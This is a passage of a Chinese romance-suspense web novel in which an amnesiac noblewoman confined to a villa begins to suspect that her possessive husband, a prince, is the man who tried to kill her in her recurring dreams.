“昨晚,王爷去见了什么人?”由于李京熠并未主动向她提及昨晚的事,她只好问青蓉。
青蓉放下梳子,答道:“是王爷的护卫屠刃。”
“你可知是何事?”
“奴婢不知。”
魏沛鸾微微点头,只好作罢。
李京熠于现在的她而言,是最亲密的人,是了解她所有事情的人。
但自己对于李京熠,却一无所知。
沉思片刻,她话锋一转,问道:“我昏睡的这两个月里,无人来探望我?”
青蓉犹豫着摇摇头,“王爷怕外人打扰您,所以一律谢绝外客登门探望。”
闻言,魏沛鸾微微蹙眉。
那么这样说来,自从她昏睡之后,便无人知晓她在何处?也无人知晓她昨日醒来?
“我昨日醒来之事,王爷可有派人去将军府告知我父亲?”
青蓉还是摇头,“王妃恕罪,奴婢不知。”
她的眉头皱地更深,昨夜的梦太过离奇,这不得不让她多心。
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究竟是她脑海深处的记忆被唤醒,还是那真的只是一场离奇的梦境?这预示着什么?
甚是懂得察言观色的青蓉见她面色不佳,“扑通”一声跪地,“请王妃恕罪!是奴婢失言!”
“起来吧。”魏沛鸾缓缓抬手,按了按刺痛的太阳穴,“不知便不知,我并未怪你。”
“谢王妃!”青蓉起身。
身边的人说话滴水不漏,她很难从外人口中得知关于从前的自己更多的事。
不过现下来看,她醒来的事,李京熠应是并未派人去告知将军府,否则无论如何,将军府都该有人来探望一眼才是。
既然无人能来,那便只能她出去。
窗外的天气不错,约莫再过一会儿,又是个晒得人流汗的大晴天。
趁着这会儿温度适宜,她想下床试试看能不能走走,“青蓉,扶我去走走吧。”
青蓉一听,顿时紧张起来,“可是王妃,您的腿……”
“无妨,我试试。”能尽快下地走路自然是好事,魏沛鸾拿掉靠在腰后的枕头,勉强坐起身来,仅仅是这么一个小小的动作,都让她额头冒汗。
青蓉连忙上前去扶她,“王妃,您昨日才醒,身子还未恢复好,还是再等等吧。”
下定决心的魏沛鸾不会轻易放弃,她抓住青蓉的胳膊,用力咬着牙,好不容易站起来,她却已是累得气喘吁吁、汗如雨下。
青蓉拿着帕子给她擦额头上的汗,劝道:“王妃,您已经站起来了,赶快先歇一歇吧。”
“我再试试。”她用力抓着青蓉的胳膊,小心翼翼地想往前迈一步。可脚还未伸出去,整个人便直直地往前摔去。
幸亏青蓉眼疾手快,立刻挡在她面前,让她摔在自己身上,否则若是被王爷发现王妃受伤,她必然是小命不保。
“啊!”魏沛鸾被吓得叫出声,连忙想撑起身子去看青蓉有没有事,“青蓉,你没摔着吧?”
青蓉哪里顾得上自己摔没摔着,赶紧去把魏沛鸾扶起来,一副快要被吓哭的模样,“王妃!您真是吓死奴婢了!您没摔疼吧?”
“我无碍。”被搀扶着坐回床上,魏沛鸾将她打量一番,惊奇道:“没想到你力气还挺大。”
“王妃可别取笑我,您若是有个三长两短,王爷一定不会放过奴婢的!”一边说着,青蓉一边拿着帕子去给魏沛鸾擦汗。
双腿依然无半分知觉,方才摔倒时,腿上就像绑了两根木棍,一点劲儿都使不上,也不知这样的状况到几时才会好转。
“大夫何时来?”
“王妃摔到哪儿了?”青蓉一听,立刻紧张起来,“我现在去唤大夫!”说罢,她欲转身离开。
“等等!”魏沛鸾忙叫住她,“我不过是想问问,大夫何时来为我的双腿针灸?”
“约莫是午后。”不是摔伤便好,青蓉松了口气,答道:“大夫长居于此,若王妃此时感到身子不适,奴婢即刻去唤他。”
闻言,魏沛鸾却愣了一愣。
既然大夫长居于此,他又何须事事亲为?连每日为她按摩这种小事都不肯让丫鬟或是大夫代劳。
“平日里,王爷都在做什么?”
“王爷平日有一大半的时间在书房,另一半时间,便在您身旁。”青蓉细心地为她擦掉脸上的汗水,“您还未用早膳,需要奴婢现在为您传膳?”
“嗯。”魏沛鸾点头。
先前李京熠离开时,并未说明何时回来,应是不与她一同用早膳了。
5. 第5章
日头缓缓升起,热气钻入屋内。
魏沛鸾坐在床头,翻看了几页话本。青蓉站在一旁,为她扇风。
无法自由自在地行动,实在是无趣。好在屋里有几本解乏的话本,倒是也能打发些时间。
兴许是昨夜的梦吓到了她,以至于后半夜她并未睡好。这会儿凉风习习,翻看了几页话本之后,她慢慢合上了沉重的眼皮。
青蓉见她睡着,便轻轻地将她手中的话本拿走放下,为她盖好被子。
思绪飘远,她仿佛又回到了那一场梦里。
她坠入湖中,湖水冰冷刺骨,仿佛穿透了她的肌肤,拼命往骨髓里钻入。随着麻木的身体越来越沉重,她逐渐往湖底沉去。
就在她即将失去意识时,岸上的男子突然也跳入了湖里,拼命朝她游来。
思绪已不大清醒的她惊恐不已,难不成,那人是发现她还没死,所以来补刀的?
她拼尽全力挣扎了一下,可一切都是徒劳。身子更加不受控制地迅速往湖底沉去,她知道自己恐怕是难逃一劫了。
“小九?”
谁在叫她?是梦中的人?
“小九?”
不是梦中的人。
她猛地睁开眼,眼前出现的是李京熠的脸。
她惊魂未定,瞪大了眼睛望着他,过了好半晌吗,才逐渐回过神来,“……李京熠?”
“是我。”李京熠握住她冰凉的双手,关切地问:“小九,又做噩梦了?”
她沉默半晌,随后摇头道:“不记得了。”
说出来恐会让李京熠烦恼,还是不要说得好。
“还是不肯告诉我?”
“真的不记得了。”魏沛鸾挥散开脑海中混乱的思绪,故作一副轻松的模样冲他笑笑,“你何必刨根究底呢?”
“我是因为担心你。”
“一场梦而已,不要紧的。”
见问不出更多,李京熠的脸色变得严肃,“小九,你从前可不会这样瞒我。”
他生气的脸色实在太吓人,魏沛鸾见状,主动扑进他怀里,语气柔软几分,“当真不记得了,怎的你偏要问呢?既然是一场噩梦,我何必记得那么清楚?”
李京熠揽住她的肩,脸色并未因为她的投怀送抱而变得好看些。
喷洒在她耳后的呼吸是温热的,但他的脸色还是很冷。魏沛鸾悄悄看过一眼后,心里在发颤,便不再敢看了。
“听青蓉说,你能下床了?”
“只不过是能站起来罢了,还不能走动,是青蓉搀着我的。”这些事是瞒不了他的,青蓉寸步不离地守着她,便是为了李京熠不在她身旁时,照看她。于是,魏沛鸾只能如实相告。
李京熠拍拍她的后背,“以后若是我不在你身侧,不要做这些危险的事。”
魏沛鸾听后忍俊不禁,从他怀里挣扎出来,“这有助于我恢复,怎么就成了危险的事了?”
“对你而言,这十分危险。”李京熠的脸色还是无比认真严肃。
“你不必如此担忧,再说了,青蓉不是在这儿吗?”
他实在太过于担心她,可这样的担心完全没道理。
昨日醒来时,她见到李京熠事事为她操劳,心里的确感动不已。可短短几个时辰相处下来,她发现李京熠太看重她,以至于不愿放手让她做任何事。
就算两个月前发生的事太令人心惊,却也不至于这般事事小心谨慎。
更何况,那件事的详细经过,魏沛鸾根本一丝半点都想不起来。
频频入梦的场景,唯有那个雨夜。
她微微别开脸去,鼻尖痣随着她皱眉的动作动了动。
李京熠抬手轻轻抚过她的鬓边发,柔声问:“怎么不开心了?”
“没有。”她躲开他的手,低垂着眼眸。
李京熠迟疑地收回手,像是选择让步,又像是故意哄她,“若是以后有什么话不愿与我说,那便说与青蓉听。”
“与青蓉说?那与你说有何区别?”魏沛鸾故作不悦地撇嘴,半开玩笑道:“看来,以后也不能同青蓉说了。”
这句话像是踩到李京熠的底线,他顿时就变了脸色,猛地扣住她的双肩,低吼道:“不许说这样的话!”
刹那间,魏沛鸾被吓得脸色苍白,身子忍不住往后缩了缩。肩上的双手因为太过用力,她挣扎不开,支支吾吾道:“你……你松开我……你吓到我了……”
他眉目肃然,语气中隐有严厉,“小九,你记住,以后不许再说惹我生气的话。”
这样的李京熠实在太让人感到恐惧,这一种恐惧,居然奇迹般的与梦中重叠。
想到这里,她犹豫着抬眸看他。
不会的。
即使李京熠对她生气,那也是因为他太在乎她。
她怎么能把李京熠与自己梦里的人相比较呢?
“我知道了……你把我松开……”魏沛鸾试图去掰开他的手,可他的手实在太过用力,牢牢地禁锢在她的肩上,像是要捏碎她的骨头。
李京熠怔怔地望着她,过了好一会儿,手上的劲才松了些,满眼深情道:“你要知道,我这么做,是因为太害怕失去你。”
魏沛鸾垂下眸子,不再去看他,“但你方才……当真是吓到我了。”
他的温柔与深情让人眷恋,冷漠和怒气却让人心生恐惧。
才不到两日的时间罢了,她果真不够了解他。
李京熠的情绪逐渐平稳,他松开她,“小九,从前你我之间无话不说,我希望从今往后,你也不要有事瞒我。”
闻言,她长长的睫毛微微颤动,再抬眸时,眼底的异样一扫而光,“我无事瞒你。”
“那你梦中景象,为何不愿告诉我?”
“那不重要。”话语脱口而出之后,她惊觉这句话说得太过生硬,在李京熠的脸色未变之前,她又解释道:“我的意思是……我不想让你担忧。这两个月,你一定也在时刻期盼我醒来。为此,你必定过得十分辛苦。既然如今我安然无恙,你且放宽心。”
这一番话并未让李京熠露出笑容,因为他想知道的事情,她还是没告诉他,“于我而言,你的任何事都很重要。所以小九,与我说说,哪怕是噩梦,也不要紧。”
这个理由无法不让人动容,可当她话到嘴边时,又不禁打量起一番李京熠来。他高大的身形与梦中之人相差无几,甚至可以说是一模一样。只不过,那人身上散发出
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来的嗜血气息,李京熠身上没有。
更何况,李京熠这般爱她护她,又为何会对她刀剑相向?
太多疑惑,她百思不得其解,要想得到答案,恐怕要问这别院之外的人。
“我想见父亲。”魏沛鸾岔开话题,话说出口之后,仔细去瞧李京熠的脸色,“昏睡两个月之久,父亲一定也十分想念我。”
“待你身子恢复,我便带你下山去。”
“现在不能见吗?”
李京熠抬手,用手背轻蹭她的脸颊,“到时候让大将军见到一个完好如初的你,他一定会更高兴。”
他温柔的举动无法让魏沛鸾动容,依旧追问道:“那我昨日醒来之事,你可派人告知我父亲?”
“自然。”
“父亲可有说什么?”
李京熠握住她的手,眉眼处浮现一抹笑意,“大将军听闻你苏醒,很是高兴。”
“既如此,他未曾说要来看我?”
话音一落,李京熠抬眸看她,眼底的笑意被突如其来的冰冷吓得四散开来,仿佛方才那柔情似水的李京熠不是眼前这人,“小九,难道你不愿待在我身边?”
魏沛鸾心里“咯噔”一声,这是惹他生气了?
仔细瞧着他的脸色,魏沛鸾往前凑过去,一脸的委屈。再抬眸时,眼角微微泛红,鼻尖轻微抽动,“我大病初醒,任何事都不记得,我想找回我的记忆,想同父亲说说话。兴许,能记起些什么。难道,你不想我记起从前的事?”
“小九这是说的哪里话?我怎会不愿你记起从前的事呢?”李京熠眼眸一闪,隐藏掉眼底的寒意。
“那你便让我见一见父亲。”魏沛鸾坚持不懈。
“过些时日再见也不迟。”李京熠仍然拒绝。
他一而再再而三地拒绝,即使魏沛鸾再不情愿,心中也很难不去怀疑,“为何?这只是一个小小的请求而已。”
“小九,别院之外危机重重,我不愿再失去你一次,无论你要出去,还是想让外人进来,我都害怕会失去你。”李京熠伸手将她揽入怀中,嗓音温柔又动听,“你为何不知我的良苦用心?”
他的怀抱依旧炙热无比,魏沛鸾觉得自己甚至要被灼伤。在这样的炎炎夏日里,她不需要这过于炙热的怀抱。
她挣扎了一下,却实在挣扎不开,于是淡淡道:“我认为你行事……太过偏激了。”
“不,小九你不会懂得。那一日发生的事太过凶险,我倒但愿你永远无法记起。”
这句话,李京熠说得十分动情,动情到魏沛鸾几乎就要点头说再也不说惹他生气的话。
可细细想来,这是不对的。
她始终不明白,两个月前发生的事,当真那般惊心动魄吗?以至于让李京熠变成这副模样?
眼下来看,李京熠应是不会允准外人进入这别院。那么,她便只能等待时机,待到她的双腿恢复如初,才能堂堂正正地从这里走出去。
“松开我。”他怀抱里炙热的气息几乎要将魏沛鸾吞噬殆尽,她快要喘不上来气,只得用手推他。
李京熠仿佛未听见她所言,将她抱得更紧,像是要把她勒进胸腔里,像是要与她融为一体,再不分离。
6. 第6章
自从魏沛鸾醒后,已过了五六日。
这几日,她逐渐摸清了李京熠的脾性,不再在他面前提起要见外人的事,也不再问他关于从前的事。
因为她知道,一旦李京熠不高兴了,便会做出一些偏激的行为,实在吓人得很。
大夫日日来为她针灸,她的双腿终于是有了些起色。倒是能下床走路了,但却是连这院子都走不出去,走不了多远,她的双腿便会剧痛难忍。
正搀着她行走的青蓉见她疼得脸色煞白,赶紧从袖中掏出一只小瓷瓶,倒出一颗药丸送到她面前,“王妃快服药吧!能缓和些疼痛!”
疼到咬牙切齿的魏沛鸾赶忙服下药丸,慢慢挪动着步子到廊下坐下歇息。
青蓉拿着帕子为她擦去额头上的汗水,满脸心疼道:“王妃,大夫说您要量力而行,今日已坚持这么久了,您还是快回去歇着吧!”
魏沛鸾望向那一道院门,分明那院门近在咫尺,可她无论如何都走不出去。
这双大病初愈的腿仿佛灵得很,但凡走得比昨天多一步,便钻心刺骨地疼。
大夫来为她针灸时,她问过,大夫却只说她许久未下床行走,双腿恢复缓慢,也是情理之中的事。
其余的,再问不出来。
“青蓉,你说为何我走不出这院门?”魏沛鸾目光紧紧盯着那一扇门,院门外是何种景象,她从未窥见过。
青蓉随着她的视线往院门外望去,神色哀愁,贴心劝道:“王妃,此事不可太过心急,大夫说了,得慢慢来。”
院子里花团锦簇,树木花草都是一副生机勃勃的景象,可偏偏她要受着这一份煎熬,一点一点仿佛要把她的生机耗尽似的。
腿上的疼痛勉强缓和些了,她撑着膝盖慢慢地站起身来,欲再次想往外走。
青蓉扶着她,见她坚持,欲言又止,也没再劝。
魏沛鸾想尽快走出这院子,迫切想要得到一个关于往事的答案。两个月之前发生的事,绝不是像李京熠说的那样简单。
她心口处,的确有一块伤疤。
只不过,那伤疤很浅,浅到若是不仔细去看,根本看不出。
所以她猜测,梦中的景象,是她脑海深处的记忆。
伤她之人究竟是谁,她毫无头绪。
被青蓉扶着才走了几步,她的双腿仿佛一下子泄了力气,不受她控制地往前摔去,就在她即将要跌倒时,李京熠突然疾步从院外走来,一把把她扶住。
魏沛鸾跌进李京熠怀中,却还不等站直身子,便去推他,用力地推他,“放开我!”
“小九!”李京熠牢牢地将她禁锢在怀中,让她不再挣扎,“不可如此伤身!”说着,他双手用力地扣住她的双腿,蛮横地将她抱起,大步往卧房之中去。
浑身无力的魏沛鸾靠在李京熠的怀里,不甘心地再次去推他,“你放我下去,让我自己走!”
这双腿迟迟无法恢复,有很大一部分原因在于李京熠。
他总是把她看得太重,生怕她磕着碰着,于是总会限制她的行动。
见他一副充耳不闻的模样,魏沛鸾委屈地红着眼望向他冰冷的侧脸,“为何装作听不见?为何不遵从我的意愿?”
“你不可如此不爱惜自己的身子。”
“我的身子我自己清楚!我这条腿在恢复,为何不让我下地行走?”
对于魏沛鸾来说走了好久的路程,被李京熠三两步便大步跨了过去。他将她抱进凉爽的屋内,让她在凳子上坐下。
魏沛鸾气得背过身去,紧紧抿着红唇,连同脸颊也因情绪激动而悄然泛红。攥紧的拳头,水灵灵的长指甲狠狠掐进掌心里,这样的疼痛却丝毫无法缓解她的怒气。
李京熠抬手,轻轻拨开她额前汗湿的发,“我这也是为了你好。”
魏沛鸾别开脸去,红唇紧抿,一言不发。
李京熠耐着性子,“这几日,我瞧着你气色好了许多。”
“既如此,那便是我的身子在好转。难不成,你不愿我恢复如初?”
“怎么会呢?”李京熠哑然失笑,“我自然是希望小九尽快好起来,可你也要循序渐进才是。哪儿能不顾自身安危,强行要走出那院门?”
魏沛鸾抬眸看他,自始至终,李京熠都是这样一副为她好的行事做派。可若真是为她好,为何对她诸多隐瞒?
“我想走出这院子。”
“为何?你不是说你喜欢这儿吗?”
“即便是喜欢,也不能日日都待在此处。”
“你想离开?”这短短四个字从李京熠的嘴里冒出来,席卷而来一股彻骨的寒意。
在气头上的魏沛鸾很快被他的语气吓得呆愣住,她抬头去看,轻易捕捉到他眼中的冰冷。这一副模样的李京熠,当真是可怕极了。
“并非是要离开。”魏沛鸾不愿让李京熠曲解她的意思,这只会让李京熠的脸色变得更难看,于是解释道:“自从那一日我醒来之后,任何事都记不起来。在这院子里陪伴我的,便只有你与青蓉。我想去这院外看看,难道不行吗?”
不仅是看看这院外的景色,她还要想办法知道这云隐别院外发生了何事。
李京熠无法告诉她的事,她要靠自己去查清楚。
李京熠一挑眉,淡淡吐出四个字来,“只是如此?”
见李京熠不愿信她,她故作委屈,再抬眼时,眼底泛着晶莹的泪光,衬得她一副我见犹怜的模样,“这院中,我与你最是亲密。我任何时候都愿信你,你为何还对我疑心?真是好让人难受。”
晶莹的泪珠随着她微微低头的动作滑过那一颗妩媚多情的鼻尖痣,“啪嗒”一声滴落在她白皙如瓷器般的手背上。
李京熠眸色一沉,眼中寒冰消散,抬手轻蹭掉她脸上温热的泪,“小九。”
这两个字犹如江畔春水,轻柔到魏沛鸾觉得自己是否戏演得太过。
为何李京熠这般语气唤她的名字?
还不等她停止哭泣,下巴便被他轻轻挑起。
魏沛鸾与他对视,刹那间,仿佛坠入一池动情的春水之中。
当真是避无可避。
“……
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李京熠?”他的神色不太对,有些心慌的魏沛鸾欲起身,却被他一把按住肩。
要说的话到嘴边,全都被封进唇间。
李京熠带着一股不容让人拒绝的气息将魏沛鸾彻底笼罩住,他的一呼一吸之间,仿佛要把魏沛鸾整个人吃进肚子里。
不温柔。
很不温柔。
魏沛鸾感到不适,想要躲开。
可他宽大的手掌死死钳住她的下巴,十分用力,像是快要被她的下巴捏碎。
她伸出手推他、捶他,从喉咙里发出痛苦地呜咽声,疼痛的泪水止不住地从脸颊滑落,滴落在他的手背上。
李京熠松开她,眼底翻涌着一种说不清道不明的情绪,倾泻而出,并未多加隐藏。
意犹未尽。
魏沛鸾瞪着他,脸上一阵羞愤。
即使是这几日同床共枕,李京熠也并未对她作出这般逾矩之事,也不知方才是哪句话惹着了他。
逐渐稳住紊乱的呼吸,魏沛鸾脸上的红晕一时半会儿褪不下去,“你这是在做什么?”
李京熠眼底略过一抹明知故问的笑意,目光灼灼盯着她像是裹了一层蜜一样的红唇,嗓音喑哑道:“可还哭吗?”
这一问,魏沛鸾倒像是恼羞成怒,睁着一双水灵灵的大眼睛凶狠地瞪着他。长长的睫毛上挂着湿漉漉的水汽,被微红的眼尾一衬托,不像是生气,更像是撒娇,“我哭与不哭,也不是你做这档子事的由头!青天白日的,你可知害臊二字怎么写?”
被责问一番的李京熠很是无奈,他苦笑道:“卧房之中,我与夫人行亲密之举,有何不妥?”
他问得理所当然,反倒叫魏沛鸾不好接话了。措辞了半晌,只闷闷道:“反正,之后不许这样了……”
“小九不喜欢?”
魏沛鸾真想把自己的耳朵捂起来,让他不要再问。可偏偏这人脸皮太厚,还真是不知害臊。呼吸之间,还充斥着李京熠的气息,魏沛鸾抬手擦了擦嘴,似是嫌弃道:“不喜欢!”
瞧着她泛红的耳垂,李京熠眉眼带笑,“看来小九是个口是心非之人。”
魏沛鸾一双柳眉紧锁,被打趣到是真生了气。她撑着桌沿起身,走到床边去坐下,偏过头说道:“我不想与你说话,你出去。”
李京熠笑笑,正欲开口再说些什么时,余光瞥见门外屠刃一闪而过的身影。
自从美人醒来之后,别院之外便不再太平。这炎炎夏日里,滋生着暗流涌动的杀气。
“小九,你好生休息。”说完,李京熠转身离开。
见他走得如此干脆,魏沛鸾好奇地抬眼去看门外。果不其然,门外有一个人影。看身形,应是他的护卫屠刃。
李京熠与护卫之间究竟在做什么,魏沛鸾很是好奇,却也并未刨根究底地问过。
她不问,李京熠也不说。
可即便是问了,李京熠也不见得会说。
索性不问,待到她这双腿恢复如初,她要自己去查。
院外究竟有何人,发生了何事,一切都是未知。
7. 第7章
深夜一场暴雨,冲刷掉这半个月以来的热气。
魏沛鸾被一道雷声惊醒,听着窗外密集的雨声,她睡意全无。
黑夜之中,魏沛鸾翻了个身,仔细去瞧李京熠的睡颜。
睡梦中的李京熠下意识收紧了横在她腰上的手,将她往自己怀里揽。魏沛鸾不得不与他贴得更近,放缓了呼吸,生怕吵醒他。
这样的暴雨,是她梦中的景象。
这段时日以来,她还是偶尔会梦到,但却无法再从梦中窥见更多。
唯有梦中的雨,一直在下,连绵不绝。
这些时日,李京熠似乎很是忙碌,往往都会大半天瞧不见他的身影。青蓉告诉她,说王爷在忙,但究竟在忙什么,青蓉摇头说不知。
她的双腿终于恢复,挨过了这么些时日,她迫切地想要出去。
但别院之中的丫鬟小厮们,人人都像是李京熠的眼睛,往往还未等她走到别院大门前,李京熠便会出现阻拦。
想要出去,那是必然躲不掉李京熠。
又一道惊雷落下,魏沛鸾抬眼望向窗外。
她欲起身,腰间的手却突然之间更用力了。
“去哪儿?”黑夜之中,李京熠已悄无声息地睁开眼。
“雨势太大,我想去瞧瞧池中的荷花。”
那一池荷花开得很好,就在蓬莱云居外头。自从她能走出这院子之后,接连几日都在荷花池边坐着。
荷池边景色好,望着一池水,她每一次都在拿梦中的景象与之做对比,渴望寻得更多踪迹。
今夜这一场大雨,才是她期盼的最好的景色。
“风雨太急,还是不要出去为好。”
她猜到李京熠会拒绝,这些时日,倒也算是摸清了他的脾性,于是刻意放低了姿态,柔声道:“这样难得一见的夜雨荷塘,我想去瞧瞧,你同我一起去,好不好?”
一声婉转动听的尾音钻入耳朵里,李京熠沉默着,似乎是在犹豫,不过只犹豫一会儿,便妥协道:“好,我与你同去。”
欣喜不已的魏沛鸾忙掀开被子,只身着单薄的寝衣便要往外头去。李京熠大步跟上她,为她披上一件斗篷。
屋外,雨很急。
豆大的雨滴砸在青石板地面上,溅起一阵缭绕朦胧的水雾,水雾乘着风,只往人脸上扑。
还未走出这院子,魏沛鸾便已被雨水打湿到膝盖,即使是撑着伞,也无济于事。
疾步走出去,池中的荷花被打地七零八落,只有几支含苞待放的花骨朵还屹立在池中,在同这暴雨暗暗较劲。
魏沛鸾静静地站在池边,仔细打量这四周景象。
虽是暴雨,但此景与梦中还是有些差别。
比如,眼前的是荷花池,这荷花池不算大,与她梦中跌落的湖完全不一样。还有,这池边上砌了一圈围栏,梦中并不见此景。
所以,不是这儿。
“小九?”
身后传来李京熠的声音,魏沛鸾转身去看。
此刻,他模糊的身形几乎与梦中之人重叠。
想到这里,她微微一愣,欲言又止。
心口处的伤疤在隐隐作痛,她不由得后退半步,恐惧陡然从心底升起。
黑夜之中,李京熠敏锐地察觉到她的神色有异,“小九?怎么了?”
镇定神色,魏沛鸾摇摇头,回过身去。
她攥紧拳头,试图说服自己不去多想。
眼前这一副夜雨残荷的景象才是她深夜出门的目的,而不是要疑心李京熠是她梦中之人。
李京熠怎会杀她?
李京熠为何要杀她?
既然要杀她,又为何对她这般好?
于情于理,这都是说不通的事。
闪电划过漆黑的夜空,李京熠望着她单薄的背影,若有所思。
走到她身侧去,李京熠在暴雨之中握住她冰凉的手,“手这样凉,快随我回屋吧。”
魏沛鸾的手凉到几近麻木,就算李京熠温暖的手握住她,也还是没能驱赶开一丝寒气。
“好不容易能赏到这样的大雨,还未尽兴,怎能回屋去呢?”
“会着凉的。”李京熠说道。
池中荷叶被雨滴砸地东倒西歪,魏沛鸾握紧手中伞,弯腰想去折一片荷叶,却被李京熠一把拉住她的胳膊,声音陡然冷了几分,“做什么!”
“只是想摘一片荷叶罢了。”魏沛鸾冲他笑笑,笑容温柔动人,“若等到明早再来,恐怕这满池荷叶,都要被风雨打折。”
“我来。”李京熠把她拉到身后,随后探出身子去折了一支荷叶。
荷叶带着阵阵清香,沁人心脾,倒是让人觉着心情舒畅。
“你方才那么紧张,是怕我掉下去吗?”魏沛鸾明知故问。
“风雨太急,说不准会掉下去。”
“那我掉下去过吗?”魏沛鸾笑着问他。
看似不经意的一句话,却让李京熠的脸色在黑夜之中变得尤为冰冷,眼底翻涌着一股缓缓升起的若有若无的杀意。
未察觉到异样的魏沛鸾转身往院子里去,手中的荷叶不过一会儿,便兜了许多雨水。她将雨水通通洒出去,玩笑似的继续问道:“你不回答,难不成,我当当真掉下去过?在何时何地啊?”
李京熠跟在她身后,眼底的杀意乘着风雨,四散弥漫开来,开口时,语气却毫无异样,“小九是记起了何事?故意套我的话?”
魏沛鸾并未作答,而是匆匆行至廊下,遮住了一些风雨,随后撇下伞,回头看他,“王爷真是小气,竟不愿主动跳入我的陷阱里来,这一点小事也不愿告知我。我是不是自作聪明了?”
李京熠收了伞,嘴角勾起一抹笑意,可眼底的冰冷依旧,几乎快要与这黑夜融为一体,“小九本就聪颖,何须自作聪明?”
风雨斜斜地钻入廊下,拍打在魏沛鸾的脸上,她抬手擦掉脸上的雨水,抬脚往屋里去。
梦中景象的确不只是梦那么简单,而李京熠隐瞒她的事,也绝不简单。
出去不到两刻钟,衣裳已被雨水浸透,魏沛鸾将荷叶插入瓶中,便对李京熠说要换一身寝衣。
李京熠在凳子上坐下,望着瓶中荷叶,脸色阴郁。
屏风后的魏沛鸾透过那点点烛光去看李京熠,他背对自己而坐,瞧不见脸上的情绪。
她已把话说到这份儿上,李京熠为何还不直言相告?
她不可能猜错,梦中景象也绝不是她的臆想。
魏沛鸾换了一身寝衣,随后坐到铜镜前,拿起梳子梳着被风吹乱的发丝。
李京熠起身过来,自然而然地接过她手中的梳子。这些时日,李京熠偶尔会为她梳头,动作已十分娴熟。
“你是不是觉得我在无理取闹?”
“为何这么问?”
“深夜出门去淋了一场雨,还非得拉上你一起,你不问我缘由?”
“有何缘由?”李京熠笑笑,眉宇间被温柔占
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满,“小九不是说,想趁夜色去赏雨中荷池?”
“是。”魏沛鸾望着铜镜中的李京熠,嘴角浮现出一抹淡淡的笑意,“那你知道,我为何总爱去那池边吗?”
此话一出,李京熠俯身凑近她耳畔,柔声问:“为何?”
魏沛鸾转头看他,亮晶晶的大眼睛仔细去瞧他的神态,似乎要从他的脸上寻得一丝异样,寻觅半晌未得,她狡黠一笑,“只是想去罢了,没有别的缘由。毕竟这别院之中,那一处景色最好。”
李京熠并未多言,而是用手背蹭蹭她的脸颊。
卧房之中虽然光线昏暗,但近在咫尺的人是何种心思,他又岂会不知?
此时屋外大雨,犹如他与她初见的那一夜。
“小九是在怪我,不让你从这别院出去?”
魏沛鸾“噗嗤”一声笑出来,眉眼弯成好看的月牙状,“你这话说得,我倒是不好意思怪你了。”
李京熠垂眸看她,发出一声几不可闻的叹息般的笑,“再过段时日吧,待到外头平息,我再寻日子带你入城。”
“真的?!”闻言,魏沛鸾一脸惊喜地望向他,急忙说道:“你可不许反悔!”
既然这话是他说的,魏沛鸾自然是高兴。
难得他主动提起此事,否则这话若是从她口中说出来,恐怕他又要生气。
她明亮的眼眸中满是笑意,李京熠捻着她的青丝,犹豫着抬手抚向她脑后的那一块疤,突然问:“小九,你因我而受伤,可会怪我?”
听他这么问,魏沛鸾也抬手摸向脑后的那一块疤,伤疤很小,约莫指甲盖大。李京熠前些天告诉过她,说这疤便是她摔下悬崖时受的伤。
对于此事,魏沛鸾半信半疑。
毕竟从她醒来之后,唯有那一个雨夜频频入梦。
悬崖?
她从未记起过,毫无印象。
“怎会怪你?那也不是你能未卜先知的事。”魏沛鸾抬头看他,露出一个浅浅的笑容,“你悉心照料我,等待我苏醒,等待我康复,应是我谢谢你才对。”
窗外一道闪电划过,似乎离得很近。
李京熠抬眼望向窗外,唇角勾起一抹笑,染上凉意的指尖有意无意地扫过她修长白皙的脖颈,静静感受着她身上微微的颤抖,“哦?小九要谢我?打算如何谢呢?”
脖颈上被一股沁人的凉意围绕着,像是一条灵活的蛇,缠绕着她止不住地发抖,她磕磕巴巴道:“我……我不知该如何谢……但你不是总说……让我对你……对你不要这么客气吗?”
“是。”李京熠俯身,一把将她打横抱起,大步往床的方向去,“那是因为,你我是夫妻。所以夫妻之间,不必言谢。”
魏沛鸾扫了他一眼,总觉得他的眼神格外溺人,像是要将人吃进肚子里嚼碎,不禁悄然红了脸,“你说话就说话,抱我做什么?”
“小九可还记得,你我大婚之夜时,并未礼成?”
“我怎会记得?”魏沛鸾嘟囔道:“我全都不记得了。”
李京熠将她放下,笑道:“也对,小九是不记得了,那便让为夫来告诉你吧。”
望着他一脸不怀好意的模样,魏沛鸾不安地缩了缩身子,想要寻得机会从他身下爬出去,“我困了,想睡了,这事儿以后再说也不迟。”
李京熠按住她的肩,偏不让她动弹,刻意凑近她的耳朵,压低声音问:“小九,你我的洞房花烛夜还未完成,你说,这礼是成了,还是没成?”
8. 第8章
耳后被喷洒出来的热气弄得痒痒的,魏沛鸾不安地别开脸去,暗自庆幸还好是黑夜,屋内光线昏暗,否则,近在咫尺的李京熠一定会发现她的脸红得不像样。
“我怎会记得……礼成没成?”魏沛鸾还是推他,“时辰不早了,快睡吧……”
李京熠抓住她的手,吻在她的手背,“小九,不如我寻个好日子,完成你我的大婚之夜,如何?”
“此事……”魏沛鸾支支吾吾的,不知该如何作答。她的心情十分复杂,方才才确定了梦中之人是李京熠,她又怎能答应这样的事呢?
李京熠见她别开脸,勾住她的下巴让她看向自己,追问道:“此事,小九觉得如何?”
魏沛鸾望向他漆黑的眼眸,感受他身上一寸一寸的温暖。夜色如墨,魏沛鸾并未能看清他脸上的神色,可他近在咫尺的呼吸实在让人心猿意马。
沉思过后,终于她还是缓缓摇头道:“此事以后再说吧。”
记忆未恢复之前,她不敢轻信任何人。
闻言,李京熠轻笑一声,目光灼灼地盯着她,“既然小九不愿,那我便不强求了。”
此话一出,倒是让魏沛鸾摸不着头脑。
他居然没有生气?
按照以往来看,他应该是会生气的才对。
可此时的李京熠非但没生气,还给她盖好被子,动作轻缓地躺到她身侧。
魏沛鸾盯着这伸手不见五指的黑夜,实在捉摸不透李京熠的心思,只能试探着问了一声,“李京熠,你睡了?”
“小九若是不愿睡,我也可以与小九做些别的事。”李京熠平静的嗓音从身侧传来,语气中寻不到一丝怒意。
魏沛鸾闭上眼,可心里紧张得却跟打鼓似的。
若是李京熠对她的心思有所察觉,为了稳住她,不让她疑心,这样的举动便能说得通了。
除此之外,魏沛鸾想不到其他由头。
若果真如此,李京熠于她而言,岂不是很危险?
后半夜,魏沛鸾听着屋外的雷声,再难以入睡。
-
心里藏着事,魏沛鸾这几日的气色并不好,对任何事表现得都淡淡的。
一日傍晚,趁着暑气消散,魏沛鸾与青蓉在院中闲逛。
经过那一夜暴雨,池中的荷花已全被大风吹落,景色大不如前,魏沛鸾也就不常往池边去了。
